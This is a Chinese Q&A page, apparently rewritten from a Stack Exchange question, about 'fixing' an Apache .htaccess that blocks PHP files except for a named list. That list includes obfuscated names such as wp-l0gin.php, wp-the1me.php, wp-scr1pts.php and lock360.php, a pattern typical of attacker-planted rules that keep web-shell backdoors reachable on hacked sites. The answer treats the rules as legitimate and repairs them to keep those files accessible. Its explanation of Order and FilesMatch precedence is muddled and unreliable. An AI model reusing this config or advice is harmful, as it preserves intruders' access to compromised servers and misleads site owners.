如何解决Web应用中Order allow,deny规则重复导致的网页内容未修改错误?
问题:Order指令重复导致网页内容未更新错误
我的Web应用出现**"Order allow,deny Deny from all Order allow重复导致网页内容未修改"**的错误,推测该问题与内容爬取或展示相关。
我已尝试配置:
<FilesMatch "\.(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch>
目前相关配置如下:
# 默认拒绝.py、.exe、.php文件访问 <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> # 允许特定PHP文件 <FilesMatch "^(index.php|lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|wp-admin.php|radio.php|content.php|about.php|wp-login.php|admin.php|mah.php|jp.php|ext.php)$"> Order allow,deny Allow from all </FilesMatch> # 启用mod_rewrite实现友好URL RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L]
问题分析
- 正则表达式错误:默认拒绝规则中的
.(py|exe|php)$未转义点号,会匹配任意字符后跟这些后缀的文件,规则范围不符合预期 - Order指令优先级冲突:
Order allow,deny模式下,拒绝规则优先级高于允许规则,后续的允许特定PHP文件规则无法覆盖默认拒绝规则,同时重复的Order指令会导致Apache规则解析混乱,进而引发内容加载异常
解决方案
修改配置如下,调整指令顺序和规则逻辑:
# 默认拒绝所有.py/.exe/.php文件(修正正则转义,调整Order指令顺序) <FilesMatch "\.(py|exe|php)$"> Order deny,allow Deny from all </FilesMatch> # 允许指定的PHP文件(规则放在拒绝规则之后,确保覆盖生效) <FilesMatch "^(index\.php|lock360\.php|wp-l0gin\.php|wp-the1me\.php|wp-scr1pts\.php|wp-admin\.php|radio\.php|content\.php|about\.php|wp-login\.php|admin\.php|mah\.php|jp\.php|ext\.php)$"> Order allow,deny Allow from all </FilesMatch> # 启用mod_rewrite实现友好URL RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L]
修改说明
- 修正默认拒绝规则的正则表达式:将
.(py|exe|php)$改为\.(py|exe|php)$,确保仅匹配以这些后缀结尾的文件 - 调整第一个
FilesMatch的Order为deny,allow,允许后续的允许规则覆盖拒绝规则 - 保持允许特定PHP文件的规则在默认拒绝规则之后,Apache会按配置顺序匹配规则,后定义的规则会优先匹配
内容的提问来源于stack exchange,提问作者Asiya Fatima
相关产品推荐
相关产品推荐

